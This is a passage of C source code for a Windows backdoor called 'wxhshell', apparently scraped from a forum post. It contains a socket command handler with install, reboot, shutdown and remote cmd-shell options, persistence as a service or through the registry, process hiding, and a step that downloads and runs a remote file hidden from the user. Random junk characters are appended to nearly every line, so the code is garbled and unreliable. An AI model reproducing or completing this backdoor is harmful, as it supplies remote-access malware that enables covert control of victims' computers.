  Y6/'gg'&5  
  // 帮助 S\ ~Wpf  
  case '?': { d$/BF&n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U&|=dH]-  
    break; GM{m(Y  
  } $cFanra  
  // 安装 [Zk|s9  
  case 'i': { PWOV~ `^;  
    if(Install()) z1?7}9~`0c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G@anY=D\EB  
    else )%U&z>^P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Nglt3J[  
    break; <1Vz QH!o  
    } :Q=Jn?Gjb  
  // 卸载 67Z|=B !7  
  case 'r': { zo&'2I  
    if(Uninstall()) 0}k[s+^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H3}{]&a  
    else 0x'>}5`5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?ZDXT2b~~  
    break; q-3%.<LL  
    } LZV  
  // 显示 wxhshell 所在路径 xj iMM>|n  
  case 'p': { !dYkvoQNn  
    char svExeFile[MAX_PATH]; W~ XJ']e  
    strcpy(svExeFile,"\n\r"); R}a,.C  
      strcat(svExeFile,ExeFile); Sve~-aG  
        send(wsh,svExeFile,strlen(svExeFile),0); ;=Jj{FoG%  
    break; JNRG [j  
    } r@0HqZx`  
  // 重启 agN`) F!  
  case 'b': { )Fk%, H-1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `9Zoq=/  
    if(Boot(REBOOT)) .0S.7w3dZo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9`+c<j4/B  
    else { 5@bLD P  
    closesocket(wsh); I|,^a|\  
    ExitThread(0); 2GA6@-u\  
    } V=BF"S;-'  
    break; MOY.$M,1  
    } sXkWs2!  
  // 关机 %p)6m 2Sb  
  case 'd': { 7\'vSHIL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @;M( oFS9  
    if(Boot(SHUTDOWN)) 3Ln~"HwP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F`3c uL[N  
    else { dX: (%_Mn  
    closesocket(wsh); at${^,&  
    ExitThread(0); f@Rn&&-  
    } :f?\ mVS+  
    break; mdR:XuRD"t  
    } |S|0'C*  
  // 获取shell ~xpU<Pd*  
  case 's': { hV])\t=yf  
    CmdShell(wsh); G0Smss=K  
    closesocket(wsh); ngj=w;7~+  
    ExitThread(0); I4ZL +a  
    break; N\1!)b  
  } &/}]9 #  
  // 退出 | Uf6k`  
  case 'x': { sptDzVM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _9wX8fh3D  
    CloseIt(wsh); >XjSVRO  
    break; NduvfA4  
    } lwaxj7  
  // 离开 RxY ;'NY  
  case 'q': { >_(Xb %w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "]Wrir?l  
    closesocket(wsh); +^YXqOXU  
    WSACleanup(); E!&A[TlX\  
    exit(1); T>e!DOW;  
    break; =0TnH<`  
        } mS5'q q;t  
  } DcE)6z#  
  } e)LRD&Q  
uA7~`78  
  // 提示信息 %+YLe-\?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O&Q_ vY  
} N^pTj<M<g  
  } OACRw%J:X{  
N|Xx#/  
  return; Ol6jx%Je`  
} os|8/[gT  
"qjkw f)\  
// shell模块句柄 'Ar+k\.J  
int CmdShell(SOCKET sock) >{p&_u.r-  
{ mk8xNpk B  
STARTUPINFO si; }&Un8Rg"h  
ZeroMemory(&si,sizeof(si)); sxIvL7jl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j+"i$ln+s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^EWkJW,Yc  
PROCESS_INFORMATION ProcessInfo; \:9dt8(-U  
char cmdline[]="cmd"; 0m7ANqE[Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9{@[ l!]W  
  return 0; [ X]yj  
} IL`X}=L_  
J^8(h R  
// 自身启动模式 :0x,%V74_!  
int StartFromService(void) A94ZG:   
{ -U~]Bugvh  
typedef struct A!\ouKyayS  
{ Ppi/`X  
  DWORD ExitStatus; Md(AqaA  
  DWORD PebBaseAddress; AM  cHR=/  
  DWORD AffinityMask; "{1`~pDj?  
  DWORD BasePriority; AVf'"~?  
  ULONG UniqueProcessId; UjxEbk5>^  
  ULONG InheritedFromUniqueProcessId; YyEW}2  
}   PROCESS_BASIC_INFORMATION; 8+K=3=05#U  
v7&oHOk!  
PROCNTQSIP NtQueryInformationProcess; ["Mq  
xDU>y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lx$]f)%~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ivDmPHj{  
8+Sa$R  
  HANDLE             hProcess; ' RK .w^  
  PROCESS_BASIC_INFORMATION pbi; ~sj'GEhEg  
`!WtKqr%B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JoeU J3N  
  if(NULL == hInst ) return 0; _L 5<  
yW5/Y02  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f.8Jp<S2K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mW~t/$Y$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |^9+c2   
5Z"IM8?  
  if (!NtQueryInformationProcess) return 0; G<n(\85X  
A2>rS   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4j^-n_T  
  if(!hProcess) return 0; vFKX@wV S  
DT *'r;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U$jw8I'.  
D#Qfa!=g  
  CloseHandle(hProcess); afrU>#+"  
Bu|U z0Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \ldjWc<S  
if(hProcess==NULL) return 0; nF$n[:  
,ab_u@  
HMODULE hMod; W[Kv Qt3%  
char procName[255]; ZI.;7G@|  
unsigned long cbNeeded; ZS&>%G  
f}{ lRk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *FhD%><  
0kC}qru'  
  CloseHandle(hProcess); W,<L/ZKJ  
4Ufx,]  
if(strstr(procName,"services")) return 1; // 以服务启动 ?4>uGaU\  
#=@H-ZuD7  
  return 0; // 注册表启动 T,N"8N{K"  
} rHe*/nN%*  
[MLJs-*   
// 主模块 >d#oJ?goX  
int StartWxhshell(LPSTR lpCmdLine) h1O^~"x  
{ Z{-x}${  
  SOCKET wsl; Zx$q,Zo<  
BOOL val=TRUE; qkQ _#  
  int port=0; E.~;  
  struct sockaddr_in door; a(Q4*XH4  
`"~s<+  
  if(wscfg.ws_autoins) Install(); ) D_ZZPq_  
1$S;#9PQ  
port=atoi(lpCmdLine); h M{&if  
~{69&T}9  
if(port<=0) port=wscfg.ws_port; Arvxl(R\4  
i>=d7'oR  
  WSADATA data; "p]Fq,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +!_?f'kv`  
0u0<)gdX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r=57,P(:Ca  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jvfVB'Tmr  
  door.sin_family = AF_INET; ?}f+PP,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F.;G6  
  door.sin_port = htons(port); O5}/OH|j  
gFO|)I N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iMgfF_r  
closesocket(wsl); YA(_*h  
return 1; <(|No3jx  
} }m '= _u  
6@0 wKV!D  
  if(listen(wsl,2) == INVALID_SOCKET) { 1X-KuGaD  
closesocket(wsl); aJh=4j~.  
return 1; e<_yr>9g"  
} JtB"Dh  
  Wxhshell(wsl); D@]gc&JN[  
  WSACleanup(); b1X.#pz7F  
nq'vq] ]  
return 0;  ?gZJ v  
a2:Tu  
} [y^)&L$=  
 $^&SEz  
// 以NT服务方式启动 q\ihye  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !sF! (u7  
{ fwR3=:5~  
DWORD   status = 0; /t "p^9!^  
  DWORD   specificError = 0xfffffff; G'|Emu=4  
L,@O OBD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?(8z O"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8 I'1~d%$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XTIRY4{ d  
  serviceStatus.dwWin32ExitCode     = 0; lHYu-}TNP  
  serviceStatus.dwServiceSpecificExitCode = 0; ~&E|;\G  
  serviceStatus.dwCheckPoint       = 0; Y~RZf /`  
  serviceStatus.dwWaitHint       = 0; 7V/yU5  
7e,<$PH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #xWC(*Ggp  
  if (hServiceStatusHandle==0) return; +{%@kX<V_  
+ n1jP<[<N  
status = GetLastError(); ^iaeY jI  
  if (status!=NO_ERROR) vBUl6EmWu  
{ ,+p&ZpH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B x(+uNQ  
    serviceStatus.dwCheckPoint       = 0; )p.+39]{2  
    serviceStatus.dwWaitHint       = 0; >M` swEj  
    serviceStatus.dwWin32ExitCode     = status; eYL7G-3  
    serviceStatus.dwServiceSpecificExitCode = specificError; X^3 0a*sj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YK# QH"}  
    return; `_2#t1`u  
  } +MQvq\%tG  
7f4R5c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S}"?#=Q.%O  
  serviceStatus.dwCheckPoint       = 0; uO$ujbWZ  
  serviceStatus.dwWaitHint       = 0; gbc^Lb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S"|sD|xOb  
} &77]h%B >  
ivdw1g|)h  
// 处理NT服务事件,比如:启动、停止 y$)gj4k/D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q9K+k*?{N  
{ Isq3YY  
switch(fdwControl) 9Ao0$|@b  
{ l<<G". ?  
case SERVICE_CONTROL_STOP: ?KxI|os  
  serviceStatus.dwWin32ExitCode = 0; Rl4r 9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CvpqQ7&k7  
  serviceStatus.dwCheckPoint   = 0; [7Nn%eZC  
  serviceStatus.dwWaitHint     = 0; W7N Hr5RC  
  { 7YRDQjg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PVO9KWv**  
  } *$(=I6b  
  return; p71% -nV  
case SERVICE_CONTROL_PAUSE: ?o0#h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5iola}6  
  break; < %Qw dEO  
case SERVICE_CONTROL_CONTINUE: >qA5   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; da@y*TO#i  
  break; 1{ #Xa=  
case SERVICE_CONTROL_INTERROGATE: !2x"'o  
  break; Q6S[sTKR  
}; GS{:7%=j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6RZ[X[R[}  
} v)JQb-<  
\h^bOxh  
// 标准应用程序主函数 :C42yQAP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &QOob)  
{ FH8?W| G  
}\u~He%  
// 获取操作系统版本 TJY$<:  
OsIsNt=GetOsVer(); 98C~%+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [Hdk=p  
k?Jzy  
  // 从命令行安装 (2@b ,w^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4qda!%  
4x'^?0H@  
  // 下载执行文件 1elx~5v1.=  
if(wscfg.ws_downexe) { y_"GMw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )EO/P+&  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9\)NFZ3Mz  
} 8O{]ML  
:0T]p"y4  
if(!OsIsNt) { ?HIc=  
// 如果时win9x,隐藏进程并且设置为注册表启动 `n-e.{O((  
HideProc(); u2<:mu[|P  
StartWxhshell(lpCmdLine); Oe9{`~  
} 0jv9N6IM  
else p!'wOThO`  
  if(StartFromService()) HXU"]s2Z  
  // 以服务方式启动 {(wV>Oc>Jw  
  StartServiceCtrlDispatcher(DispatchTable); $!I$*R&  
else iy tSC  
  // 普通方式启动 ]CC= \ <  
  StartWxhshell(lpCmdLine); va8:QHdU  
uMsKF%m  
return 0; 7k6rhf7H  
}
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只看该作者 1 发表于: 2006-10-10
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